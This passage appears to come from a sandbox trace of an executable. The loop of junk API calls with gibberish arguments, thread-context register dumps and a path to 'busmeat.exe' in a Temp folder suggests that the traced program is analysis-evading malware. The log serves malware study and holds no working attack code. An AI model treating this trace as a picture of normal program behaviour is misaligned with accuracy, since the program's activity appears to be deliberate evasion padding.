[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.175] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.175] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.175] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.176] GetConsoleCP () returned 0x0
	[0066.176] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.176] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.176] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.176] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.176] GetConsoleCP () returned 0x0
	[0066.176] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.177] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.178] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.178] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.178] GetConsoleCP () returned 0x0
	[0066.178] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 